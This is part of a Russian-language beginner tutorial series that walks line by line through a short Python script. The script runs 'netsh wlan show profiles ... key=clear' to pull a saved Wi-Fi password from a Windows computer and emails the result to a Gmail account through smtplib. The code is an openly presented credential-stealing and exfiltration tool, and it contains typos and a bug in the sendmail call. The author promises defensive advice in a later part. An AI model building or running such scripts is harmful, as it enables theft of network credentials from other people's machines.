Получаем wife пароли на почту(3 часть)
И так сначала я покажу весь код скрипта, потом разберу каждую строку отдельно, детально на столько, на сколько это возможно для понимания человека который ни чего не знает о программировании. Сразу скажу, что я буду объяснять для абсолютного новичка, так что если будет читать человек который разбирается в питоне, возможно для него сами объяснения будут не интересны и ему будет нужен только сам код, по этому вот он:
И так поехали.. Начнем с строки 6 с команды import. Импорт это такая команда которая позволяет добавлять в наш код бибилотеки. Что такое библиотеки, библиотеки можно себе представить как как какой-то дополнительный функционал для программы. Например когда в нашем смартфоне нам нужные какие-то дополнительные функции которых нет изначально, мы устанавливаем какое-то дополнительное приложения, чтобы использовать какие-то новые функции. Это что-то похожее, библиотеки позволяют добавлять и использовать какие-то дополнительные функции в программе, по этому командой import мы добавляем в нашу программу 2 нужные нам для работы библиотеки subprocess(позволяет выполнять системные команды) и smtplib(позволяет работать с почтовыми сервисами)
import subprocess, smtplib
Далее в строке 8 мы создаем функцию. Что такое функция? функция это некая программ в нутри нашей программы. Функция это как, некая "шестеренка" в механизме или отдельная какая-то функция которая выполняет отдельную задачу.
Создание функции всегда обозначается аббревиатурой "def"
def send_mail(email, password, message):
Внутри скобок мы добавляем параметры с которыми будет работать наша функция. То есть сейчас мы учим нашу функцию, объясняем ей, что она будет делать и с какими данными она будет работать. Проще говоря мы ей говорим, ты примешь от нас логин почты, пароль и сообщение.
def send_mail(email, password, message):
И дальше мы объясняем что будет делать функция с этими данными. И так важный момент, все что находится внутри функции, то есть все строки которые должны относится к функции они должны иметь отступ в 1 Tab обычно после нажатия Enter после создания фунции тебе автоматически в новой строке создаеться отступ, но если по каким то причинам у тебя это не произошло, тебе будет нужно нажать кнопку Tab 1 раз.
Как ты видешь на скрине вверху стороки 9,10,11,12,13 начинаются не сначало строки а с отступом, так вот этот отступ говорит, что все эти строки являются частью функции def send_mail. То есть это какие-то инструкции для функции или если хочешь правила по которым должна работать наша функция. А все что начинается с начало строки не является частью функции, а является отдельной частью кода программы, поэтому у тебя должно быть все в точности как на скриншоте.
def send_mail(email, password, message):
(1 Tab)server = smtplib.SMTP("smtp.gmail.com", 587)
(1 Tab)server.starttls()
(1 Tab)server.login(email, password)
(1 Tab)server.sendmail(email, email, password)
(1 Tab)sever.quit()
Коротко пройдем по этой части кода, чтобы понять что мы здесь сделали. Представляй себе в целом всю функцию def send_mail как некого почтальона который будет заниматься отправкой нашего письма нам. И так какие инструкции у него. server = smtplib.SMTP("smtp.gmail.com", 587) - строка говорит с какой именно почтой будет работать почтальон. Здесь мы указываем в скобках что мы будем работатьс гугл почтой("smtp.gmail.com") и для работы нам понадобится 587 порт.
Далее наш почтальон должен безопасно доставить нам почтку, чтобы ее ни кто кроме нас не смог получить, server.starttls() - в этой строке мы создаем шифрованное tls соединение. В следующей строке server.login(email, password) почтальон авторизуется, то есть войдет в нашу почту используя логин и пароль который мы ему передадим. Дале зайдя в нашу почту он оставить нам наше сообщение с паролем используя эту строку server.sendmail(email, email, password) кстати почему здесь в скобках 2 email потому что если бы мы использовали эту функцию где-то в другой программе, то например мы могли бы отправить сообщения от одной почты к другой а не сами себе. Но так как мы отправляем сообщение сами себе, по этому в оба этих параметра он подставит только наш емаил. И последней строкой, sever.quit() наш почтальон выйдет из почты и закончит свою работу. Всю эту работу с почтальоном все те инструкции которые мы написали для функции позволила сделать как раз библиотека smtplib
Сейчас может быть не очень все понятно но когда ты дойдешь до конца ты все поймешь. Двигаемся дальше строка 15:
command = "netsh wlan show profiles TP-LINK_985**** key=clear"
В этой строке в перменную "command" мы передаем команду которую мы рассмотрели с тобой раньше. Важно понимать, что в этой строке команда не выполняется а только хронится, то есть в как бы в нутри слова command лежит наша команда которая показывала пороль.
16 строка:
result = subprocess.check_output(command, shell=True)
Сейчас очень важный момент который тебе нужно понять и так в прошлой строке command = "netsh wlan show profiles TP-LINK_985**** key=clear" мы сохранили нашу команду, в ящик с названием command в этой же строке result = subprocess.check_output(command, shell=True) мы передаем наш ящик "command" сюда result = subprocess.check_output(command, shell=True)
И вот как раз эта строка result = subprocess.check_output(command, shell=True) она уже выполняет команду "netsh wlan show..." которая хронится в command и то что мы с тобой видели здесь
Можно представлять себе что весь этот текст сохраняется в таком же виде в переменной result здесь
result = subprocess.check_output(command, shell=True) надеюсь понятно.
Последней строкой 17 мы запусаем функцию которую написали ранее:
send_mail("[email protected]", "12345", result)
B эту строку в свою очередь из прошлой строки передается переменная result где хронится результат команды netsh..
И вот смотри, в эту последнюю строку мы передаем наш логи и пароль и то что мы хотим получить на почту
send_mail("[email protected]", "12345", result)
Естественно вместо "[email protected]" и "12345" ты в ковычки подставляешь логин и пароль от своей почты. Еще один очень важный момент смотри сверху мы создавали и писали инструкцию для нашей функции но мы не запускали ее работу, мы просто ее создали а вот последней строкой мы как раз запускаем нашу функицю на выполение то есть как бы включаем ее работу.
И что происходит, наша функция из последний строки берет логин и пароль который мы ей дали, берет ту информацию из result что мы хотим получить на почту и начитат работать по тем инструкициям которые мы ей написали, подставляя уже те данные которые мы ей дали.
Понятно да, то есть она берет твой логин возвращается на верх и вставляет его вместо слова email здесь def send_mail([email protected], password, message): Потом она берет пароль который ты ей написал от почты в последней строке и вставляет его заместо слова password def send_mail([email protected], 12345, message): Тоже самое с result, def send_mail([email protected], 12345, result) и она начинает выполнять инструкции кототорые мы писали для почтальона помнишь.. Уже используя все те данные которые мы дали. И так давай еще раз быстро пробежимся по скрипту чтобы выстроить логическую цепочтку то как это все работает:
import subprocess, smtplib <— (добавляем библиотеки) def sendmail(email, password, message): <— (создаем функцию) (1 Tab)server = smtplib.SMTP("smtp.gmail.com", 587) <— (с какой почтой работаем) (1 Tab)server.starttls() <— (создаем шифрованное соединение) (1 Tab)server.login(email, password) <— (авторизуемся в почте) (1 Tab)server.sendmail(email, email, password) <— (получаем сообщение на почту) (1 Tab)sever.quit() <— (выходим из почты завершаем работу функции) command = "netsh wlan show profiles TP-LINK985**** key=clear" <— (сохраняем команду в command) result = subprocess.checkoutput(command, shell=True) <— (выполняем команду, сохраняем результат в result) sendmail("[email protected]", "12345", result) <— (запускаем функцию, передаем данные для вы работы)
Код программы всегда выполянется сверху вниз, программа начинает сверху и первое она добавляет библиотеки в строке 6, далее программа видит функцию, но пока у нее нет ни каких данных, по этому она ее просто проходит. На 15 строке программа сохраняет команду netsh.. в переменную. В 16 строке программа выполняет команду из переменной command и сохраняет результат выполнения в result В 17 строке программа понимает, что функция запущена берет данные из этой строки, возвращается на верх к коду функции и начинает выполнять инструкции функции уже используя логин и пароль и информацию которую мы ей передали. Ну и когда мы запускаем наш файл в командной строке, мы получаем наш пароль на почту. Не забудь конечно же сначало сохронить файл с именем wife_key.py, кстати у меня ошибка не правильно написал слово key но это бывает, напиши у себя правильно.
В заключительной части статьи я расскажу, что не так с этим скриптом и как защититься от таких атак, поэтому переходи по этой ссылке